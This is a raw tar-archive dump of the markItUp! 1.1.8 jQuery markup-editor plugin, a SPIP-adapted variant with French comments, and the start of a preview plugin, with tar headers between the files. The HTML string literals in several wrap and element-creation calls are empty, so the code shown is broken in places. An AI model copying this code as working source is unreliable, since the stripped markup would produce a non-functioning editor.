e.ctrlKey)) ? e.ctrlKey : false; if (e.type === 'keydown') { if (ctrlKey === true) { li = $("a[accesskey="+String.fromCharCode(e.keyCode)+"]", header).parent('li'); if (li.length !== 0) { ctrlKey = false; setTimeout(function() { li.triggerHandler('mousedown'); },1); return false; } } if (e.keyCode === 13 || e.keyCode === 10) { // Enter key if (ctrlKey === true) { // Enter + Ctrl ctrlKey = false; markup(options.onCtrlEnter); return options.onCtrlEnter.keepDefault; } else if (shiftKey === true) { // Enter + Shift shiftKey = false; markup(options.onShiftEnter); return options.onShiftEnter.keepDefault; } else { // only Enter markup(options.onEnter); return options.onEnter.keepDefault; } } if (e.keyCode === 9) { // Tab key if (shiftKey == true || ctrlKey == true || altKey == true) { return false; } if (caretOffset !== -1) { get(); caretOffset = $$.val().length - caretOffset; set(caretOffset, 0); caretOffset = -1; return false; } else { markup(options.onTab); return options.onTab.keepDefault; } } } } init(); }); }; $.fn.markItUpRemove = function() { return this.each(function() { var $$ = $(this).unbind().removeClass('markItUpEditor'); $$.parent('div').parent('div.markItUp').parent('div').replaceWith($$); } ); }; $.markItUp = function(settings) { var options = { target:false }; $.extend(options, settings); if (options.target) { return $(options.target).each(function() { $(this).focus(); $(this).trigger('insertion', [options]); }); } else { $('textarea').trigger('insertion', [options]); } }; })(jQuery); javascript.tar000066600000153000151454730040007430 0ustar00jquery.markitup.js000066600000041530151451431370010267 0ustar00// ---------------------------------------------------------------------------- // markItUp! Universal MarkUp Engine, JQuery plugin // v 1.1.8 // Dual licensed under the MIT and GPL licenses. // ---------------------------------------------------------------------------- // Copyright (C) 2007-2010 Jay Salvat // http://markitup.jaysalvat.com/ // ---------------------------------------------------------------------------- // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. // ---------------------------------------------------------------------------- (function($) { $.fn.markItUp = function(settings, extraSettings) { var options, ctrlKey, shiftKey, altKey; ctrlKey = shiftKey = altKey = false; options = { id: '', nameSpace: '', root: '', previewInWindow: '', // 'width=800, height=600, resizable=yes, scrollbars=yes' previewAutoRefresh: true, previewPosition: 'after', previewTemplatePath: '~/templates/preview.html', previewParserPath: '', previewParserVar: 'data', resizeHandle: true, beforeInsert: '', afterInsert: '', onEnter: {}, onShiftEnter: {}, onCtrlEnter: {}, onTab: {}, markupSet: [ { /* set */ } ] }; $.extend(options, settings, extraSettings); // compute markItUp! path if (!options.root) { $('script').each(function(a, tag) { miuScript = $(tag).get(0).src.match(/(.*)jquery\.markitup(\.pack)?\.js$/); if (miuScript !== null) { options.root = miuScript[1]; } }); } return this.each(function() { var $$, textarea, levels, scrollPosition, caretPosition, caretOffset, clicked, hash, header, footer, previewWindow, template, iFrame, abort; $$ = $(this); textarea = this; levels = []; abort = false; scrollPosition = caretPosition = 0; caretOffset = -1; options.previewParserPath = localize(options.previewParserPath); options.previewTemplatePath = localize(options.previewTemplatePath); // apply the computed path to ~/ function localize(data, inText) { if (inText) { return data.replace(/("|')~\//g, "$1"+options.root); } return data.replace(/^~\//, options.root); } // init and build editor function init() { id = ''; nameSpace = ''; if (options.id) { id = 'id="'+options.id+'"'; } else if ($$.attr("id")) { id = 'id="markItUp'+($$.attr("id").substr(0, 1).toUpperCase())+($$.attr("id").substr(1))+'"'; } if (options.nameSpace) { nameSpace = 'class="'+options.nameSpace+'"'; } $$.wrap('
    '); $$.wrap('
    '); $$.wrap('
    '); $$.addClass("markItUpEditor"); // add the header before the textarea header = $('
    ').insertBefore($$); $(dropMenus(options.markupSet)).appendTo(header); // add the footer after the textarea footer = $('
    ').insertAfter($$); // add the resize handle after textarea if (options.resizeHandle === true && $.browser.safari !== true) { resizeHandle = $('
    ') .insertAfter($$) .bind("mousedown", function(e) { var h = $$.height(), y = e.clientY, mouseMove, mouseUp; mouseMove = function(e) { $$.css("height", Math.max(20, e.clientY+h-y)+"px"); return false; }; mouseUp = function(e) { $("html").unbind("mousemove", mouseMove).unbind("mouseup", mouseUp); return false; }; $("html").bind("mousemove", mouseMove).bind("mouseup", mouseUp); }); footer.append(resizeHandle); } // listen key events $$.keydown(keyPressed).keyup(keyPressed); // bind an event to catch external calls $$.bind("insertion", function(e, settings) { if (settings.target !== false) { get(); } if (textarea === $.markItUp.focused) { markup(settings); } }); // remember the last focus $$.focus(function() { $.markItUp.focused = this; }); } // recursively build header with dropMenus from markupset function dropMenus(markupSet) { var ul = $('
      '), i = 0; $('li:hover > ul', ul).css('display', 'block'); $.each(markupSet, function() { var button = this, t = '', title, li, j; title = (button.key) ? (button.name||'')+' [Ctrl+'+button.key+']' : (button.name||''); key = (button.key) ? 'accesskey="'+button.key+'"' : ''; if (button.separator) { li = $('
    • '+(button.separator||'')+'
    • ').appendTo(ul); } else { i++; for (j = levels.length -1; j >= 0; j--) { t += levels[j]+"-"; } li = $('
    • '+(button.name||'')+'
    • ') .bind("contextmenu", function() { // prevent contextmenu on mac and allow ctrl+click return false; }).click(function() { return false; }).focusin(function(){ $$.focus(); }).mousedown(function() { if (button.call) { eval(button.call)(); } setTimeout(function() { markup(button) },1); return false; }).hover(function() { $('> ul', this).show(); $(document).one('click', function() { // close dropmenu if click outside $('ul ul', header).hide(); } ); }, function() { $('> ul', this).hide(); } ).appendTo(ul); if (button.dropMenu) { levels.push(i); $(li).addClass('markItUpDropMenu').append(dropMenus(button.dropMenu)); } } }); levels.pop(); return ul; } // markItUp! markups function magicMarkups(string) { if (string) { string = string.toString(); string = string.replace(/\(\!\(([\s\S]*?)\)\!\)/g, function(x, a) { var b = a.split('|!|'); if (altKey === true) { return (b[1] !== undefined) ? b[1] : b[0]; } else { return (b[1] === undefined) ? "" : b[0]; } } ); // [![prompt]!], [![prompt:!:value]!] string = string.replace(/\[\!\[([\s\S]*?)\]\!\]/g, function(x, a) { var b = a.split(':!:'); if (abort === true) { return false; } value = prompt(b[0], (b[1]) ? b[1] : ''); if (value === null) { abort = true; } return value; } ); return string; } return ""; } // prepare action function prepare(action) { if ($.isFunction(action)) { action = action(hash); } return magicMarkups(action); } // build block to insert function build(string) { openWith = prepare(clicked.openWith); placeHolder = prepare(clicked.placeHolder); replaceWith = prepare(clicked.replaceWith); closeWith = prepare(clicked.closeWith); if (replaceWith !== "") { block = openWith + replaceWith + closeWith; } else if (selection === '' && placeHolder !== '') { block = openWith + placeHolder + closeWith; } else { block = openWith + (string||selection) + closeWith; } return { block:block, openWith:openWith, replaceWith:replaceWith, placeHolder:placeHolder, closeWith:closeWith }; } // define markup to insert function markup(button) { var len, j, n, i; hash = clicked = button; get(); $.extend(hash, { line:"", root:options.root, textarea:textarea, selection:(selection||''), caretPosition:caretPosition, ctrlKey:ctrlKey, shiftKey:shiftKey, altKey:altKey } ); // callbacks before insertion prepare(options.beforeInsert); prepare(clicked.beforeInsert); if (ctrlKey === true && shiftKey === true) { prepare(clicked.beforeMultiInsert); } $.extend(hash, { line:1 }); if (ctrlKey === true && shiftKey === true) { lines = selection.split(/\r?\n/); for (j = 0, n = lines.length, i = 0; i < n; i++) { if ($.trim(lines[i]) !== '') { $.extend(hash, { line:++j, selection:lines[i] } ); lines[i] = build(lines[i]).block; } else { lines[i] = ""; } } string = { block:lines.join('\n')}; start = caretPosition; len = string.block.length + (($.browser.opera) ? n-1 : 0); } else if (ctrlKey === true) { string = build(selection); start = caretPosition + string.openWith.length; len = string.block.length - string.openWith.length - string.closeWith.length; len -= fixIeBug(string.block); } else if (shiftKey === true) { string = build(selection); start = caretPosition; len = string.block.length; len -= fixIeBug(string.block); } else { string = build(selection); start = caretPosition + string.block.length ; len = 0; start -= fixIeBug(string.block); } if ((selection === '' && string.replaceWith === '')) { caretOffset += fixOperaBug(string.block); start = caretPosition + string.openWith.length; len = string.block.length - string.openWith.length - string.closeWith.length; caretOffset = $$.val().substring(caretPosition, $$.val().length).length; caretOffset -= fixOperaBug($$.val().substring(0, caretPosition)); } $.extend(hash, { caretPosition:caretPosition, scrollPosition:scrollPosition } ); if (string.block !== selection && abort === false) { insert(string.block); set(start, len); } else { caretOffset = -1; } get(); $.extend(hash, { line:'', selection:selection }); // callbacks after insertion if (ctrlKey === true && shiftKey === true) { prepare(clicked.afterMultiInsert); } prepare(clicked.afterInsert); prepare(options.afterInsert); // refresh preview if opened if (previewWindow && options.previewAutoRefresh) { refreshPreview(); } // reinit keyevent shiftKey = altKey = ctrlKey = abort = false; } // Substract linefeed in Opera function fixOperaBug(string) { if ($.browser.opera) { return string.length - string.replace(/\n*/g, '').length; } return 0; } // Substract linefeed in IE function fixIeBug(string) { if ($.browser.msie) { return string.length - string.replace(/\r*/g, '').length; } return 0; } // add markup function insert(block) { if (document.selection) { var newSelection = document.selection.createRange(); newSelection.text = block; } else { textarea.value = textarea.value.substring(0, caretPosition) + block + textarea.value.substring(caretPosition + selection.length, textarea.value.length); } } // set a selection function set(start, len) { if (textarea.createTextRange){ // quick fix to make it work on Opera 9.5 if ($.browser.opera && $.browser.version >= 9.5 && len == 0) { return false; } range = textarea.createTextRange(); range.collapse(true); range.moveStart('character', start); range.moveEnd('character', len); range.select(); } else if (textarea.setSelectionRange ){ textarea.setSelectionRange(start, start + len); } textarea.scrollTop = scrollPosition; textarea.focus(); } // get the selection function get() { textarea.focus(); scrollPosition = textarea.scrollTop; if (document.selection) { selection = document.selection.createRange().text; if ($.browser.msie) { // ie var range = document.selection.createRange(), rangeCopy = range.duplicate(); rangeCopy.moveToElementText(textarea); caretPosition = -1; while(rangeCopy.inRange(range)) { rangeCopy.moveStart('character'); caretPosition ++; } } else { // opera caretPosition = textarea.selectionStart; } } else { // gecko & webkit caretPosition = textarea.selectionStart; selection = textarea.value.substring(caretPosition, textarea.selectionEnd); } return selection; } // open preview window function preview() { if (!previewWindow || previewWindow.closed) { if (options.previewInWindow) { previewWindow = window.open('', 'preview', options.previewInWindow); $(window).unload(function() { previewWindow.close(); }); } else { iFrame = $(''); if (options.previewPosition == 'after') { iFrame.insertAfter(footer); } else { iFrame.insertBefore(header); } previewWindow = iFrame[iFrame.length - 1].contentWindow || frame[iFrame.length - 1]; } } else if (altKey === true) { if (iFrame) { iFrame.remove(); } else { previewWindow.close(); } previewWindow = iFrame = false; } if (!options.previewAutoRefresh) { refreshPreview(); } if (options.previewInWindow) { previewWindow.focus(); } } // refresh Preview window function refreshPreview() { renderPreview(); } function renderPreview() { var phtml; if (options.previewParserPath !== '') { $.ajax( { type: 'POST', url: options.previewParserPath, data: options.previewParserVar+'='+encodeURIComponent($$.val()), success: function(data) { writeInPreview( localize(data, 1) ); } } ); } else { if (!template) { $.ajax( { url: options.previewTemplatePath, success: function(data) { writeInPreview( localize(data, 1).replace(//g, $$.val()) ); } } ); } } return false; } function writeInPreview(data) { if (previewWindow.document) { try { sp = previewWindow.document.documentElement.scrollTop } catch(e) { sp = 0; } previewWindow.document.open(); previewWindow.document.write(data); previewWindow.document.close(); previewWindow.document.documentElement.scrollTop = sp; } } // set keys pressed function keyPressed(e) { shiftKey = e.shiftKey; altKey = e.altKey; ctrlKey = (!(e.altKey && e.ctrlKey)) ? e.ctrlKey : false; if (e.type === 'keydown') { if (ctrlKey === true) { li = $("a[accesskey="+String.fromCharCode(e.keyCode)+"]", header).parent('li'); if (li.length !== 0) { ctrlKey = false; setTimeout(function() { li.triggerHandler('mousedown'); },1); return false; } } if (e.keyCode === 13 || e.keyCode === 10) { // Enter key if (ctrlKey === true) { // Enter + Ctrl ctrlKey = false; markup(options.onCtrlEnter); return options.onCtrlEnter.keepDefault; } else if (shiftKey === true) { // Enter + Shift shiftKey = false; markup(options.onShiftEnter); return options.onShiftEnter.keepDefault; } else { // only Enter markup(options.onEnter); return options.onEnter.keepDefault; } } if (e.keyCode === 9) { // Tab key if (shiftKey == true || ctrlKey == true || altKey == true) { return false; } if (caretOffset !== -1) { get(); caretOffset = $$.val().length - caretOffset; set(caretOffset, 0); caretOffset = -1; return false; } else { markup(options.onTab); return options.onTab.keepDefault; } } } } init(); }); }; $.fn.markItUpRemove = function() { return this.each(function() { var $$ = $(this).unbind().removeClass('markItUpEditor'); $$.parent('div').parent('div.markItUp').parent('div').replaceWith($$); } ); }; $.markItUp = function(settings) { var options = { target:false }; $.extend(options, settings); if (options.target) { return $(options.target).each(function() { $(this).focus(); $(this).trigger('insertion', [options]); }); } else { $('textarea').trigger('insertion', [options]); } }; })(jQuery); jquery.markitup_pour_spip.js000066600000053436151451431370012377 0ustar00// ---------------------------------------------------------------------------- // markItUp! Universal MarkUp Engine, JQuery plugin // v 1.1.8 // Dual licensed under the MIT and GPL licenses. // ---------------------------------------------------------------------------- // Copyright (C) 2007-2010 Jay Salvat // http://markitup.jaysalvat.com/ // ---------------------------------------------------------------------------- // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. // ---------------------------------------------------------------------------- /* * Le code original de markitup 1.1.8 * a ete modifie pour prendre en compte * * 1) la langue utilisee dans les textarea : * - si un textarea possede un attribut lang='xx' alors * markitup n'affichera que les icones qui correspondent a cette langue * - on peut passer une valeur de langue par defaut a markitup (le textarea peut ne pas en definir) * .markitup(set_spip,{lang:'fr'}); * - une option supplementaire optionnelle 'lang' est introduite dans les parametres * des boutons (markupset), par exemple : lang:['fr','es','en'] * - si un bouton n'a pas ce parametre, l'icone s'affiche * quelque soit la langue designee dans le textarea ou les parametres de markitup ; * sinon, il faut que la langue soit contenue dedans pour que l'icone s'affiche. * 2) les control + shift (ou alt) + click bouton qui ne semblaient pas fonctionner * en tout cas sous FF3/ubintu/jquery 1.2.6 a verifier chez les autres (opera 9.5/ubuntu ok) * 3) gerer des types de selections differentes : * - normales comme dans markitup (rien a faire) * - 'selectionType':'word' : aux mots le plus proche si pas de selection (sinon la selection) * - 'selectionType':'line' : aux lignes les plus proches * - and 'return' : ugly hack to generate list (and so on) on key 'return' press * 4) forcer des actions multilignes sans avoir besoin de faire control+click * - 'forceMultiline':true : force donc une insertion multiligne * 5) correction de la recuperation des selections d'Opera et de IE * en utilisant une autre fonction de split() qui corrige leurs bugs. * (caretOffset n'est plus necessaire) * */ ;(function($) { $.fn.markItUp = function(settings, extraSettings) { var options, ctrlKey, shiftKey, altKey; ctrlKey = shiftKey = altKey = false; options = { id: '', nameSpace: '', root: '', lang: '', previewInWindow: '', // 'width=800, height=600, resizable=yes, scrollbars=yes' previewAutoRefresh: true, previewPosition: 'after', previewTemplatePath: '~/templates/preview.html', previewParserPath: '', previewParserVar: 'data', resizeHandle: true, beforeInsert: '', afterInsert: '', onEnter: {}, onShiftEnter: {}, onCtrlEnter: {}, onTab: {}, markupSet: [ { /* set */ } ] }; $.extend(options, settings, extraSettings); // compute markItUp! path if (!options.root) { $('script').each(function(a, tag) { miuScript = $(tag).get(0).src.match(/(.*)jquery\.markitup(\.pack)?\.js$/); if (miuScript !== null) { options.root = miuScript[1]; } }); } return this.each(function() { var $$, textarea, levels, scrollPosition, caretPosition, caretEffectivePosition, clicked, hash, header, footer, previewWindow, template, iFrame, abort, before, after; $$ = $(this); textarea = this; levels = []; abort = false; scrollPosition = caretPosition = 0; options.previewParserPath = localize(options.previewParserPath); options.previewTemplatePath = localize(options.previewTemplatePath); // apply the computed path to ~/ function localize(data, inText) { if (inText) { return data.replace(/("|')~\//g, "$1"+options.root); } return data.replace(/^~\//, options.root); } // init and build editor function init() { id = ''; nameSpace = ''; if (options.id) { id = 'id="'+options.id+'"'; } else if ($$.attr("id")) { id = 'id="markItUp'+($$.attr("id").substr(0, 1).toUpperCase())+($$.attr("id").substr(1))+'"'; } if (options.nameSpace) { nameSpace = 'class="'+options.nameSpace+'"'; } $$.wrap('
      '); $$.wrap('
      '); $$.wrap('
      '); $$.addClass("markItUpEditor"); // add the header before the textarea header = $('
      ').insertBefore($$); $(dropMenus(options.markupSet)).appendTo(header); // remove empty dropMenu $(header).find("li.markItUpDropMenu ul:empty").parent().remove(); // add the footer after the textarea footer = $('
      ').insertAfter($$); // add the resize handle after textarea if (options.resizeHandle === true && $.browser.safari !== true) { resizeHandle = $('
      ') .insertAfter($$) .bind("mousedown", function(e) { var h = $$.height(), y = e.clientY, mouseMove, mouseUp; mouseMove = function(e) { $$.css("height", Math.max(20, e.clientY+h-y)+"px"); return false; }; mouseUp = function(e) { $("html").unbind("mousemove", mouseMove).unbind("mouseup", mouseUp); return false; }; $("html").bind("mousemove", mouseMove).bind("mouseup", mouseUp); }); footer.append(resizeHandle); } // listen key events $$.keydown(keyPressed).keyup(keyPressed); // bind an event to catch external calls $$.bind("insertion", function(e, settings) { if (settings.target !== false) { get(); } if (textarea === $.markItUp.focused) { markup(settings); } }); // remember the last focus $$.focus(function() { $.markItUp.focused = this; }); } // recursively build header with dropMenus from markupset function dropMenus(markupSet) { var ul = $('
        '), i = 0; var lang = ($$.attr('lang')||options.lang); $('li:hover > ul', ul).css('display', 'block'); $.each(markupSet, function() { var button = this, t = '', title, li, j; // pas de langue ou dans la langue ; et uniquement si langue autorisee if ((!lang || !button.lang || ($.inArray(lang, button.lang) != -1)) && (!button.lang_not || ($.inArray(lang, button.lang_not) == -1))) { title = (button.key) ? (button.name||'')+' [Ctrl+'+button.key+']' : (button.name||''); key = (button.key) ? 'accesskey="'+button.key+'"' : ''; if (button.separator) { li = $('
      • '+(button.separator||'')+'
      • ').appendTo(ul); } else { i++; for (j = levels.length -1; j >= 0; j--) { t += levels[j]+"-"; } li = $('
      • '+(button.name||'')+'
      • ') .bind("contextmenu", function() { // prevent contextmenu on mac and allow ctrl+click return false; }).click(function() { return false; }).focusin(function(){ $$.focus(); }).mousedown(function() { if (button.call) { eval(button.call)(); } setTimeout(function() { markup(button) },1); return false; }).hover(function() { $('> ul', this).show(); $(document).one('click', function() { // close dropmenu if click outside $('ul ul', header).hide(); } ); }, function() { $('> ul', this).hide(); } ).appendTo(ul); if (button.dropMenu) { levels.push(i); $(li).addClass('markItUpDropMenu').append(dropMenus(button.dropMenu)); } } } }); levels.pop(); return ul; } // markItUp! markups function magicMarkups(string) { if (string) { string = string.toString(); string = string.replace(/\(\!\(([\s\S]*?)\)\!\)/g, function(x, a) { var b = a.split('|!|'); if (altKey === true) { return (b[1] !== undefined) ? b[1] : b[0]; } else { return (b[1] === undefined) ? "" : b[0]; } } ); // [![prompt]!], [![prompt:!:value]!] string = string.replace(/\[\!\[([\s\S]*?)\]\!\]/g, function(x, a) { var b = a.split(':!:'); if (abort === true) { return false; } value = prompt(b[0], (b[1]) ? b[1] : ''); if (value === null) { abort = true; } return value; } ); return string; } return ""; } // prepare action function prepare(action) { if ($.isFunction(action)) { action = action(hash); } return magicMarkups(action); } // build block to insert function build(string) { openWith = prepare(clicked.openWith); placeHolder = prepare(clicked.placeHolder); replaceWith = prepare(clicked.replaceWith); closeWith = prepare(clicked.closeWith); if (replaceWith !== "") { block = openWith + replaceWith + closeWith; } else if (selection === '' && placeHolder !== '') { block = openWith + placeHolder + closeWith; } else { block = openWith + (string||selection) + closeWith; } return { block:block, openWith:openWith, replaceWith:replaceWith, placeHolder:placeHolder, closeWith:closeWith }; } function selectWord(){ selectionBeforeAfter(/\s|[.,;:!¡?¿()]/); selectionSave(); } function selectLine(){ selectionBeforeAfter(/\r?\n/); selectionSave(); } function selectionRemoveLast(pattern){ // Remove space by default if (!pattern) pattern = /\s/; last = selection[selection.length-1]; if (last && last.match(pattern)) { set(caretPosition, selection.length-1); get(); $.extend(hash, { caretPosition:caretPosition, scrollPosition:scrollPosition } ); } } function selectionBeforeAfter(pattern) { if (!pattern) pattern = /\s/; before = textarea.value.substring(0, caretEffectivePosition); after = textarea.value.substring(caretEffectivePosition + selection.length - fixIeBug(selection)); before = before.split(pattern); after = after.split(pattern); } function selectionSave(){ nb_before = before ? before[before.length-1].length : 0; nb_after = after ? after[0].length : 0; nb = nb_before + selection.length + nb_after - fixIeBug(selection); caretPosition = caretPosition - nb_before; set(caretPosition, nb); get(); $.extend(hash, { selection:selection, caretPosition:caretPosition, scrollPosition:scrollPosition } ); } // define markup to insert function markup(button) { var len, j, n, i; hash = clicked = button; get(); $.extend(hash, { line:"", root:options.root, textarea:textarea, selection:(selection||''), caretPosition:caretPosition, ctrlKey:ctrlKey, shiftKey:shiftKey, altKey:altKey } ); // corrections des selections pour que // - soit le curseur ne change pas // - soit on prend le mot complet (si pas de selection) // - soit on prend la ligne (avant, apres la selection) if (button.selectionType) { if (button.selectionType == "word") { if (!selection) { selectWord(); } else { // win/ff add space on double click ? (hum, seems strange) selectionRemoveLast(/\s/); } } if (button.selectionType == "line") { selectLine(); } // horrible chose, mais tellement plus pratique // car on ne peut pas de l'exerieur (json) utiliser // les fonctions internes de markitup if (button.selectionType == "return"){ selectionBeforeAfter(/\r?\n/); before_last = before[before.length-1]; after = ''; // gestion des listes -# et -* if (r = before_last.match(/^-([*#]+) ?(.*)$/)) { if (r[2]) { button.replaceWith = "\n-"+r[1]+' '; before_last = ''; } else { // supprime le -* present // (before le fera) button.replaceWith = "\n"; } } else { before_last = ''; button.replaceWith = "\n"; } before[before.length-1] = before_last; selectionSave(); } } // / fin corrections // callbacks before insertion prepare(options.beforeInsert); prepare(clicked.beforeInsert); if (ctrlKey === true && shiftKey === true) { prepare(clicked.beforeMultiInsert); } $.extend(hash, { line:1 }); // insertion forcee en multiligne ou ctrl+click if ((button.forceMultiline === true && selection.length) || (ctrlKey === true && shiftKey === true)) { lines = selection.split(/\r?\n/); for (j = 0, n = lines.length, i = 0; i < n; i++) { if ($.trim(lines[i]) !== '') { $.extend(hash, { line:++j, selection:lines[i] } ); lines[i] = build(lines[i]).block; } else { lines[i] = ""; } } string = { block:lines.join('\n')}; start = caretPosition; len = string.block.length + (($.browser.opera) ? n-1 : 0); } else if (ctrlKey === true) { string = build(selection); start = caretPosition + string.openWith.length; len = string.block.length - string.openWith.length - string.closeWith.length; len -= fixIeBug(string.block); } else if (shiftKey === true) { string = build(selection); start = caretPosition; len = string.block.length; len -= fixIeBug(string.block); } else { string = build(selection); start = caretPosition + string.block.length ; len = 0; start -= fixIeBug(string.block); } if (selection === ''){ start += fixOperaBug(string.replaceWith); } $.extend(hash, { caretPosition:caretPosition, scrollPosition:scrollPosition } ); if (string.block !== selection && abort === false) { insert(string.block); set(start, len); } get(); $.extend(hash, { line:'', selection:selection }); // callbacks after insertion if ((button.forceMultiline === true) || (ctrlKey === true && shiftKey === true)) { prepare(clicked.afterMultiInsert); } prepare(clicked.afterInsert); prepare(options.afterInsert); // refresh preview if opened if (previewWindow && options.previewAutoRefresh) { refreshPreview(); } // reinit keyevent shiftKey = altKey = ctrlKey = abort = false; } // Substract linefeed in Opera function fixOperaBug(string) { if ($.browser.opera) { return string.length - string.replace(/\n*/g, '').length; } return 0; } // Substract linefeed in IE function fixIeBug(string) { if ($.browser.msie) { return string.length - string.replace(/\r*/g, '').length; } return 0; } // add markup function insert(block) { if (document.selection) { var newSelection = document.selection.createRange(); newSelection.text = block; } else { textarea.value = textarea.value.substring(0, caretEffectivePosition) + block + textarea.value.substring(caretEffectivePosition + selection.length, textarea.value.length); } } // set a selection function set(start, len) { if (textarea.createTextRange){ range = textarea.createTextRange(); range.collapse(true); range.moveStart('character', start); range.moveEnd('character', len); range.select(); } else if (textarea.setSelectionRange ){ textarea.setSelectionRange(start, start + len); } textarea.scrollTop = scrollPosition; textarea.focus(); } // get the selection function get() { textarea.focus(); scrollPosition = textarea.scrollTop; if (document.selection) { selection = document.selection.createRange().text; if ($.browser.msie) { // ie var range = document.selection.createRange(), rangeCopy = range.duplicate(); rangeCopy.moveToElementText(textarea); caretPosition = -1; while(rangeCopy.inRange(range)) { rangeCopy.moveStart('character'); caretPosition ++; } caretEffectivePosition = caretPosition; } else { // opera caretPosition = textarea.selectionStart; lenSelection = selection.length; // calcul du nombre reel de caracteres pour les substr() set(0,caretPosition); opBefore = document.selection.createRange().text; caretEffectivePosition = opBefore.length - fixOperaBug(opBefore); set(caretPosition, lenSelection); selection = document.selection.createRange().text; } } else { // gecko & webkit caretPosition = textarea.selectionStart; caretEffectivePosition = caretPosition; selection = textarea.value.substring(caretPosition, textarea.selectionEnd); } return selection; } // open preview window function preview() { if (!previewWindow || previewWindow.closed) { if (options.previewInWindow) { previewWindow = window.open('', 'preview', options.previewInWindow); $(window).unload(function() { previewWindow.close(); }); } else { iFrame = $(''); if (options.previewPosition == 'after') { iFrame.insertAfter(footer); } else { iFrame.insertBefore(header); } previewWindow = iFrame[iFrame.length - 1].contentWindow || frame[iFrame.length - 1]; } } else if (altKey === true) { if (iFrame) { iFrame.remove(); } else { previewWindow.close(); } previewWindow = iFrame = false; } if (!options.previewAutoRefresh) { refreshPreview(); } if (options.previewInWindow) { previewWindow.focus(); } } // refresh Preview window function refreshPreview() { renderPreview(); } function renderPreview() { var phtml; if (options.previewParserPath !== '') { $.ajax( { type: 'POST', url: options.previewParserPath, data: options.previewParserVar+'='+encodeURIComponent($$.val()), success: function(data) { writeInPreview( localize(data, 1) ); } } ); } else { if (!template) { $.ajax( { url: options.previewTemplatePath, success: function(data) { writeInPreview( localize(data, 1).replace(//g, $$.val()) ); } } ); } } return false; } function writeInPreview(data) { if (previewWindow.document) { try { sp = previewWindow.document.documentElement.scrollTop } catch(e) { sp = 0; } previewWindow.document.open(); previewWindow.document.write(data); previewWindow.document.close(); previewWindow.document.documentElement.scrollTop = sp; } } // set keys pressed function keyPressed(e) { if (e.type === 'keydown') { if (e.which === 18) {e.altKey = true;} // alt if (e.which === 17) {e.ctrlKey = true;} // control if (e.which === 16) {e.shiftKey = true;} // shift } shiftKey = e.shiftKey; altKey = e.altKey; ctrlKey = (!(e.altKey && e.ctrlKey)) ? e.ctrlKey : false; if (e.type === 'keydown') { if (ctrlKey === true) { li = $("a[accesskey="+String.fromCharCode(e.which)+"]", header).parent('li'); if (li.length !== 0) { ctrlKey = false; setTimeout(function() { li.triggerHandler('mousedown'); },1); return false; } } // si opera, on s'embete pas, il cree plus de problemes qu'autre chose // car il ne prend pas en compte l'arret de ces evenements if (!$.browser.opera) { if (e.which === 13 || e.which === 10) { // Enter key if (ctrlKey === true) { // Enter + Ctrl ctrlKey = false; markup(options.onCtrlEnter); return options.onCtrlEnter.keepDefault; } else if (shiftKey === true) { // Enter + Shift shiftKey = false; markup(options.onShiftEnter); return options.onShiftEnter.keepDefault; } else { // only Enter markup(options.onEnter); return options.onEnter.keepDefault; } } if (e.which === 9) { // Tab key if (shiftKey == true || ctrlKey == true || altKey == true) { return false; } markup(options.onTab); return options.onTab.keepDefault; } } } } init(); }); }; $.fn.markItUpRemove = function() { return this.each(function() { var $$ = $(this).unbind().removeClass('markItUpEditor'); $$.parent('div').parent('div.markItUp').parent('div').replaceWith($$); } ); }; $.markItUp = function(settings) { var options = { target:false }; $.extend(options, settings); if (options.target) { return $(options.target).each(function() { $(this).focus(); $(this).trigger('insertion', [options]); }); } else { $('textarea').trigger('insertion', [options]); } }; })(jQuery); jquery.previsu_spip.js000066600000005046151451431370011165 0ustar00;(function($) { $.fn.previsu_spip = function(settings) { var options; options = { previewParserPath: '' , previewParserVar: 'data', textEditer: 'Editer', textVoir: 'Voir' }; $.extend(options, settings); return this.each(function() { var $$, textarea, tabs, preview; $$ = $(this); textarea = this; // init and build previsu buttons function init() { $$.addClass("pp_previsualisation"); tabs = $('
        ').prependTo($$.parent()); $(tabs).append( '' + options.textVoir + '' + '' + options.textEditer + '' ); preview = $('
